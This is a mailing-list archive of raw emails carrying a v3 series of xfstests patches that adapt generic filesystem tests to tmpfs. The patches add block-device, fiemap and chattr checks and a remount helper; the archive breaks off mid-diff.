from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BCB91AC004 for ; Wed, 18 Dec 2013 10:16:11 -0800 (PST) X-ASG-Debug-ID: 1387390570-04cb6c537d81adb0001-NocioJ Received: from mail-ie0-f201.google.com (mail-ie0-f201.google.com [209.85.223.201]) by cuda.sgi.com with ESMTP id HE2lKTNomAGEv4us (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:10 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.201 Received: by mail-ie0-f201.google.com with SMTP id at1so1704iec.4 for ; Wed, 18 Dec 2013 10:16:10 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=pm6GCduLJME6cp+Sg0VPmMM9fWNRsWHJl5FEAWL5ou0=; b=LRNDXPiMIbWfDJz1mAVLc/IdvyUpJB9xKLRm4gSwq0814BtQkhByboWfOBLISRH8Oz e9pXjcI4MUO9Am6gA0lj8JggkCFzkusmW5bjYktHxOSM9JGvxD55sGOfJk+Jxr+xm4L9 JgB7dULMrgTNhcUL/0kBJMPWsktIBawYThB+2aiywX8wqc/yGI/imGGiPU7L2q7bEiBF v1TOgvdlfRtHGfdmnvCr2gCs7aU3xIbr9o69G0YCFJLvqsQsgInIHOKYG5ALzbEeCR5g aIC3/RITeMD9ZiYnMtDnKAeo2f0z3+5r7OMDzfox64NT9TLg+oIu/NhpR53jr7A41wkA gjtg== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=pm6GCduLJME6cp+Sg0VPmMM9fWNRsWHJl5FEAWL5ou0=; b=kToaau1jPE18KkrzqPxr4WSoJAPuCLUFGl/hYmfIulxYkEkEPgnOM05rS2kQsayEih uNlLH9evMtMjq/hJebeBrG7Wjp1Wm20i1XnjgfHre+dC7HOrBMN04AR90wMDZOvKVPRs 7Lf4n49tXSJ+sXZfm3d4jO9FojtN7hMCApBrc/5m/U/SNRGLnD2quOCNTedCZTjpjetU nIDsTWOw5xiIrxqOV3dFqGhy9T54rxXBIR1FC/DYd+btQU4Ax6K69or8c3LA6XrQphYt lqfaDFlQnC6sdHz23RvYoyeiGU8V+KfQETtspaknOd8UZHNU9XiDmQ2xD/2adNq6Edqh nj2w== X-Gm-Message-State: ALoCoQk7k8igA8fjFmUTMg0ElsrMVImvYZrk6iCt+5C69tt5Yt+HyFIl1Cnerb8ZDlMPJmwRHyZFJ58gXD0W8f04YIdlP3jXAH7MJk96zCQmkL6MhtqTZjs6hfHGv8vu1EyOyYXyFPV20FvJrjxIuAWzY6sk2YuX7s23N+YiSokDqXszpxP57bXKgMN2yjqiQ05k0jB0up1Z X-Received: by 10.182.251.230 with SMTP id zn6mr10735571obc.14.1387390570294; Wed, 18 Dec 2013 10:16:10 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id j47si284550yhm.7.2013.12.18.10.16.10 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:10 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id B6E8D5A405D; Wed, 18 Dec 2013 10:16:09 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 09/12] xfstests: skip generic/076 which cannot work on tmpfs Date: Wed, 18 Dec 2013 10:16:00 -0800 X-ASG-Orig-Subj: [PATCH v3 09/12] xfstests: skip generic/076 which cannot work on tmpfs Message-Id: <1387390563-27064-9-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ie0-f201.google.com[209.85.223.201] X-Barracuda-Start-Time: 1387390570 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Skip generic/076 which tests concurrent access while testing tmpfs because there are other tests cover the case using fsstress. Signed-off-by: Hugh Dickins Signed-off-by: Theodore Ts'o Signed-off-by: Junho Ryu --- v3: use -b to check whether SCRATCH_DEV is a block device. v2: check whether SCRATCH_DEV is a block device instead of checking whether FSTYP is tmpfs. tests/generic/076 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/generic/076 b/tests/generic/076 index a53840f..b6a89b7 100755 --- a/tests/generic/076 +++ b/tests/generic/076 @@ -57,6 +57,8 @@ _supported_os IRIX Linux _require_scratch +[ -b "$SCRATCH_DEV" ] || _notrun "this test requires block device" + echo "*** init fs" rm -f $seqres.full -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CFAD529E05 for ; Wed, 18 Dec 2013 12:16:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA9D88F8087 for ; Wed, 18 Dec 2013 10:16:09 -0800 (PST) X-ASG-Debug-ID: 1387390568-04cb6c537c81ada0001-NocioJ Received: from mail-gg0-f201.google.com (mail-gg0-f201.google.com [209.85.161.201]) by cuda.sgi.com with ESMTP id yBXYgp18oFAbdd5Z (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:08 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.161.201 X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] Received: by mail-gg0-f201.google.com with SMTP id k5so1284ggd.0 for ; Wed, 18 Dec 2013 10:16:08 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=3A5fJEO4lMOmpKV2o1fcxDN5P10dvCac/J3flFdYiGw=; b=WN9zAxLXLBxRq5TDKj788dH35f3roD0KMQB46OFIsQ0L7pAY6RywmItn8WSCRNBNkk KU2uZ/k26ZLHus3CbbhksbI6jBp2Nj0/Ejs1DJcq09CpZTUAsbNAeju82vi1fbz1mpHT vEVHtyZr4ZgnK+b2ktlnSt/2QFvcDuXdqVG7qzdBmumM3ROap4rjqPwSxNDfrBGUCZWM s1YCwAkpdRmlbeXt4D9xo47BeR5LXbpUpjehTm9UZUQ5B+id7EKFsYWJ7yJbrIxJpZnS zGkNYBGFQ9zLL8FVma9lNoQ5qpGqnSJpqHCWupYd/+NmvXlLme6MjUXsjbhmRmVxP0se 0nCA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=3A5fJEO4lMOmpKV2o1fcxDN5P10dvCac/J3flFdYiGw=; b=cMfdNlkd5fw6JodZbECqJ8tJYXEHZolCi/PdG6aRALj3sgfGB47wgVuQ6LL9V0ECWX oYlt0lpVpB2vjhanP6Rm2KL+CWz8063AuPj9VVb+mVF9Wdj8PzHekG88SPTUm4iWXgEA fw53n0WcsR47BxWaAwmk11xib9YBzFsfC9aiqEp3HNb9NcORIEYugg2RJ17sRA/y79xV DlBmGCtnUiQr4sLq23QX+mF7KO2P4seDepXe0gN6IoGXzL4AYDSWl93n7ToZPfY0Qe01 Zp5DEkqlR/Vr+fnu2cz+kwhw/ZeTYBwZgR+oAnWgDTllrYbKgJQRkdBU+SuqIxIXkfn/ IkYw== X-Gm-Message-State: ALoCoQmS/3NXkCvkCg52G0qfvXuSBGdwAV0A4PTbQXGM1IogAxaFHFOslZm9S5qXdXphdzBPmOwZvh0uSLAOJjzb0qDe/APaytr+T0szqOmhvppkwg7GScp6qlgpzw66k8XrFoQEye+GfTZz4d2sGp05lk1bLpjD9BcGhniWIZPE3edYDFrWo8LF6HboDiHpvdh+LcMIYIky X-Received: by 10.52.229.41 with SMTP id sn9mr9401447vdc.6.1387390567919; Wed, 18 Dec 2013 10:16:07 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id v64si287667yhm.3.2013.12.18.10.16.07 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:07 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 57CCA5A42C6; Wed, 18 Dec 2013 10:16:07 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 05/12] xfstests: fix generic/225 to check fiemap support Date: Wed, 18 Dec 2013 10:15:56 -0800 X-ASG-Orig-Subj: [PATCH v3 05/12] xfstests: fix generic/225 to check fiemap support Message-Id: <1387390563-27064-5-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-gg0-f201.google.com[209.85.161.201] X-Barracuda-Start-Time: 1387390568 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature generic/225 runs fiemap. Check fiemap support like other tests which use fiemap. Signed-off-by: Junho Ryu --- v3: same as v2 v2: renamed _require_xfs_io_fiemap to _require_fiemap tests/generic/225 | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/generic/225 b/tests/generic/225 index 73b125a..1fb1f94 100755 --- a/tests/generic/225 +++ b/tests/generic/225 @@ -44,6 +44,7 @@ _cleanup() _supported_fs generic _supported_os Linux _require_scratch +_require_fiemap _scratch_mkfs > /dev/null 2>&1 _scratch_mount > /dev/null 2>&1 -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A680829E16 for ; Wed, 18 Dec 2013 12:16:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8E52E304066 for ; Wed, 18 Dec 2013 10:16:13 -0800 (PST) X-ASG-Debug-ID: 1387390572-04cb6c537b81adb0001-NocioJ Received: from mail-ve0-f202.google.com (mail-ve0-f202.google.com [209.85.128.202]) by cuda.sgi.com with ESMTP id gImg3An068pxtCdx (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:12 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.128.202 X-Barracuda-IPDD: Level1 [google.com/209.85.128.202] Received: by mail-ve0-f202.google.com with SMTP id oz11so896veb.3 for ; Wed, 18 Dec 2013 10:16:12 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.128.202] X-Barracuda-IPDD: Level1 [google.com/209.85.128.202] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=QBcQu1PbEdmVDRibw5LotzCiEJGRuCn3DPOmSm7C0/E=; b=ePd/WyWW0c6zbNdpetj7ib/41/Q4xOcUP3bqwXBHjAqoEzBJj4CC/KQTTNt3GRRv62 k2wKJpxKqdAkopLbNEKXDUsMexLbk9AvXukRWioJYNSt4+0U/kK86+t6dz/4tbZkQth+ 3ccgzO5yiRyhNbla7lh6lMGEVRpPPbhZOX87y5YOB3yH3cFhy1YNEcAh8ym0WdDrkfWl 7mcprerMYmGxCazTM9NPvKKQ5t96xPcIL+VK/DdSH7wMYnQM0yJN2h11fvXGrHptxpUs CpasqXliYJPHHmc+7xAOFNKJ1CP57HqsTqQLlU3SEHsAkBAsXyIrN5fwfL00U2CkA8VH 44Tw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=QBcQu1PbEdmVDRibw5LotzCiEJGRuCn3DPOmSm7C0/E=; b=hWsD5UovqAOjcTlCuaR5wd0SwVfep9gQwcxxYyhEs/tpH4vHJ/dliAUXhtZ+JFeZ92 3kn2VukHqQ/hxTw8sgR7T4bY+rpKhIenfXJu0RKYoRO39sqyZ5zGshe8SOPhuakT65sd mKaChx2eZCSl51Az9wzzvOYhxYD5z3NUoGxoOfCIqAqwLJYQ7UHOaZezuJysS8Q4renh XUDlmU+7F1j2cFUa8MTXhx2HQs32xaoCXyzf57Ieh3YBL9Rmny5IxsvAOGx4Nj8r0kbe OxR65DRb6MZxBEC0jFJM+m6jnE/UEhfKx8R2yRGfxYgMlU/jZ4iZGG/0kzT42uVEIp+e SSPQ== X-Gm-Message-State: ALoCoQnaZjReEYtdJ6BMT2hD9L3FjDECDgmoOvv++RpL4cAG/qxiHELJJEPKYNHO19b/b+MzK0kFJW2zNIO6pcm1I8weO6GOhOQ7FFPRTk+b2yTSIS4uYEHBnUmWcL8kqFqyOIDIxAIm72ZGjlM3MG1bJlm4/+ywAEYh2yp8sXC7Yqh2H0M2Fe6/lNCoT4zxNIDntsb4oFbd X-Received: by 10.52.184.228 with SMTP id ex4mr9400761vdc.1.1387390572053; Wed, 18 Dec 2013 10:16:12 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id x29si290375yha.0.2013.12.18.10.16.12 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:12 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 8423E5A405D; Wed, 18 Dec 2013 10:16:11 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 12/12] xfstests: check if filesystem supports chattr Date: Wed, 18 Dec 2013 10:16:03 -0800 X-ASG-Orig-Subj: [PATCH v3 12/12] xfstests: check if filesystem supports chattr Message-Id: <1387390563-27064-12-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ve0-f202.google.com[209.85.128.202] X-Barracuda-Start-Time: 1387390572 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Add _require_chattr which verifies exit code of chattr command and call it before running generic/277. Signed-off-by: Junho Ryu --- v3: same as v2 v2: extracted from patch 9 common/attr | 13 +++++++++++++ tests/generic/277 | 2 ++ 2 files changed, 15 insertions(+) diff --git a/common/attr b/common/attr index 4a3ac9e..278633f 100644 --- a/common/attr +++ b/common/attr @@ -218,5 +218,18 @@ else # Assume max ~1 block of attrs fi export MAX_ATTRVAL_SIZE + +_require_chattr() +{ + touch $TEST_DIR/syscalltest + chattr +A $TEST_DIR/syscalltest > $TEST_DIR/syscalltest.out 2>&1 + if [ $? -ne 0 ]; then + _notrun "chattr has failed to change attribute of a file in TEST_DIR" + fi + cat $TEST_DIR/syscalltest.out >> $seqres.full + + rm -f $TEST_DIR/syscalltest.out +} + # make sure this script returns success /bin/true diff --git a/tests/generic/277 b/tests/generic/277 index 8461ad9..c31f7c4 100755 --- a/tests/generic/277 +++ b/tests/generic/277 @@ -38,11 +38,13 @@ trap "_cleanup ; exit \$status" 0 1 2 3 15 # get standard environment, filters and checks . ./common/rc . ./common/filter +. ./common/attr # real QA test starts here _supported_fs generic _supported_os Linux _require_scratch +_require_chattr _scratch_mkfs > /dev/null 2>&1 _scratch_mount -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3283529E06 for ; Wed, 18 Dec 2013 12:16:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 17E0B304066 for ; Wed, 18 Dec 2013 10:16:13 -0800 (PST) X-ASG-Debug-ID: 1387390571-04cbb04167817220001-NocioJ Received: from mail-yh0-f73.google.com (mail-yh0-f73.google.com [209.85.213.73]) by cuda.sgi.com with ESMTP id BcVKu5NomZAMA17y (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:11 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.213.73 X-Barracuda-IPDD: Level1 [google.com/209.85.213.73] Received: by mail-yh0-f73.google.com with SMTP id f64so1145yha.0 for ; Wed, 18 Dec 2013 10:16:10 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.213.73] X-Barracuda-IPDD: Level1 [google.com/209.85.213.73] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=OC3Wm6FwZA3tKU5mEsRjAU7CbB831IVNEmgeF7SM3Rk=; b=lCDw+ndvE2/LmC8Rdh2LP+dY1CJe4pjemESMSvh5bmv/MaNeeguI849g8vzyGH5CuU IXoZ0prSNIldvHqVLFcSeFyAc4IH4x6A1CHIvTVw2OQVwY9hoWJbWGPiTzBwKSAT3zqg vNZ0S28DlptRFXyyJf8q6pPfbhKCuJ/k29GSJY+jA63mr0bHWCm1Mv19JEITEkUoj7WB t/31Eq5u3c12MHXFIQT7n679XLx90Kp0rSTEiesDVQKNpnoJeiK3ZOn39gH6wEHQhjy1 4ZiCBf1tLtojjkzkDRfggFvBHlJ3mWBl0AHDM1BY2uUWnSETyzH5fLG3DEIgfSN1SrBY v4cA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=OC3Wm6FwZA3tKU5mEsRjAU7CbB831IVNEmgeF7SM3Rk=; b=NLWr7QjGnlO/v3xwXxw3KsNbNqG7LnzWlMS7kGvkRuiIarmiUg2GFvPAATTSuyGBI7 AEIA6mlhrYuJWCm/maOHPmjF70ZOafrlVmDqpGFAZT2xkmksG3hq2onI6LHElAu7R+bP GoBmGYY40wxO3YcHK8+8m6rTEbtvvMuscOUZSUtrjyEuZDTAU1SWuVBPl0aii6FVnzSu sGc97VVoymnwKwDb66QvTHo6dSR772r52e87ZbIMO+ydA5cEJLtYsXUlKSJPUZvc3O4L /MljTVzKnBGWYu1nMHbftIKnT+d7iLi+yyJFjFPs74021M9IvCFdaAeOMMxHMdsjyu3b YHxw== X-Gm-Message-State: ALoCoQnW7jQOFDqVd6brT4zdSB5gMSv1VvrsMhcQVxCq2/gJBHPZYUgNGw29jnsHR29DuAtvyT2KE+AcEsNdNGir6wFLwwbVwRldmDD3zIPoIV44ty7YCX3i8B1dpLrto+qj6+TbSgfBhBcH3w3y1lJXWX2g9kyFtYJUaXd02NcsXpyueWITPwJpA7qKZ1TI4zNhg9SslXO0 X-Received: by 10.224.38.206 with SMTP id c14mr6918611qae.4.1387390570869; Wed, 18 Dec 2013 10:16:10 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id d9si288471yhl.2.2013.12.18.10.16.10 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:10 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 56EA25A405D; Wed, 18 Dec 2013 10:16:10 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 10/12] xfstests: do not unmount tmpfs during remount. Date: Wed, 18 Dec 2013 10:16:01 -0800 X-ASG-Orig-Subj: [PATCH v3 10/12] xfstests: do not unmount tmpfs during remount. Message-Id: <1387390563-27064-10-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-yh0-f73.google.com[209.85.213.73] X-Barracuda-Start-Time: 1387390571 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Several tests unmount then re-mount the scratch filesystem, to check that the content is unchanged; but unmounting a tmpfs is designed to lose its content, which causes such tests to fail unnecessarily. Add _scratch_remount(), which instead uses remount on a tmpfs to preserve its contents. Also add _test_remount() to do the same for the test device. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- v3: same as v1 v2: same as v1 common/rc | 34 ++++++++++++++++++++++++++++++++-- tests/generic/135 | 17 +++-------------- tests/generic/169 | 20 ++++++-------------- tests/generic/169.out | 6 ++---- tests/generic/192 | 3 +-- tests/generic/226 | 3 +-- tests/generic/258 | 3 +-- tests/generic/306 | 3 +-- 8 files changed, 47 insertions(+), 42 deletions(-) diff --git a/common/rc b/common/rc index 3878069..e15dce2 100644 --- a/common/rc +++ b/common/rc @@ -302,8 +302,20 @@ _scratch_unmount() _scratch_remount() { - _scratch_unmount - _scratch_mount + CWD=`pwd` + cd / + + case $FSTYP in + tmpfs) + mount -o remount "$@" $SCRATCH_MNT + ;; + *) + _scratch_unmount + _scratch_mount "$@" + ;; + esac + + cd $CWD } _test_mount() @@ -312,6 +324,24 @@ _test_mount() _mount -t $FSTYP $TEST_OPTIONS $TEST_FS_MOUNT_OPTS $SELINUX_MOUNT_OPTIONS $* $TEST_DEV $TEST_DIR } +_test_remount() +{ + CWD=`pwd` + cd / + + case $FSTYP in + tmpfs) + mount -o remount "$@" $TEST_DIR + ;; + *) + umount $TEST_DIR + _test_mount "$@" + ;; + esac + + cd $CWD +} + _scratch_mkfs_options() { _scratch_options mkfs diff --git a/tests/generic/135 b/tests/generic/135 index 79558f5..cfa9779 100755 --- a/tests/generic/135 +++ b/tests/generic/135 @@ -41,19 +41,8 @@ _supported_os Linux IRIX _require_odirect _require_scratch -_scratch_mkfs >/dev/null 2>&1 - -_umount_mount() -{ - CWD=`pwd` - cd / - # pipe error into /dev/null, in case not mounted (after _require_scratch) - umount $SCRATCH_MNT 2>/dev/null - _scratch_mount - cd "$CWD" -} - -_umount_mount +_scratch_mkfs >/dev/null 2>&1 || _fail "mkfs failed" +_scratch_mount > /dev/null 2>&1 || _fail "mount failed" cd $SCRATCH_MNT @@ -71,7 +60,7 @@ $XFS_IO_PROG -f -c 'pwrite -b 4k -S 0x78 0 4k' trunc_file > /dev/null $XFS_IO_PROG -f -c 'truncate 2k' trunc_file > /dev/null $XFS_IO_PROG -c 'pwrite 1k 0 1k' trunc_file > /dev/null -_umount_mount +_scratch_remount # check file size and contents od -Ad -x async_file diff --git a/tests/generic/169 b/tests/generic/169 index ebeffa7..ebfb106 100755 --- a/tests/generic/169 +++ b/tests/generic/169 @@ -73,13 +73,9 @@ $XFS_IO_PROG -a -c "pwrite 0 5k" -c "fsync" \ $SCRATCH_MNT/testfile \ | _show_wrote_and_stat_only -echo "# unmounting scratch" -umount $SCRATCH_MNT>>$seqres.full 2>&1 \ - || _fail "unmount failed" - -echo "# mounting scratch" -_scratch_mount >>$seqres.full 2>&1 \ - || _fail "mount failed: $MOUNT_OPTIONS" +echo "# remounting scratch" +_scratch_remount >>$seqres.full 2>&1 \ + || _fail "remount failed: $MOUNT_OPTIONS" echo "# stating file to confirm correct size" $XFS_IO_PROG -r -c "stat" $SCRATCH_MNT/testfile \ @@ -90,13 +86,9 @@ $XFS_IO_PROG -f -c "pwrite 0 5" -c s -c "pwrite 5 5" \ -c "stat" $SCRATCH_MNT/nextfile \ | _show_wrote_and_stat_only -echo "# unmounting scratch" -umount $SCRATCH_MNT>>$seqres.full 2>&1 \ - || _fail "unmount failed" - -echo "# mounting scratch" -_scratch_mount >>$seqres.full 2>&1 \ - || _fail "mount failed: $MOUNT_OPTIONS" +echo "# remounting scratch" +_scratch_remount >>$seqres.full 2>&1 \ + || _fail "remount failed: $MOUNT_OPTIONS" echo "# stating file to confirm correct size" $XFS_IO_PROG -r -c "stat" $SCRATCH_MNT/nextfile \ diff --git a/tests/generic/169.out b/tests/generic/169.out index 22a5b77..5f7df39 100644 --- a/tests/generic/169.out +++ b/tests/generic/169.out @@ -5,15 +5,13 @@ wrote 5120/5120 bytes at offset 0 wrote 5120/5120 bytes at offset 5120 wrote 5120/5120 bytes at offset 10240 stat.size = 15360 -# unmounting scratch -# mounting scratch +# remounting scratch # stating file to confirm correct size stat.size = 15360 # appending 10 bytes to new file, sync at 5 bytes wrote 5/5 bytes at offset 0 wrote 5/5 bytes at offset 5 stat.size = 10 -# unmounting scratch -# mounting scratch +# remounting scratch # stating file to confirm correct size stat.size = 10 diff --git a/tests/generic/192 b/tests/generic/192 index 2b4e41c..ec069b0 100755 --- a/tests/generic/192 +++ b/tests/generic/192 @@ -76,8 +76,7 @@ cat $testfile time2=`_access_time $testfile | tee -a 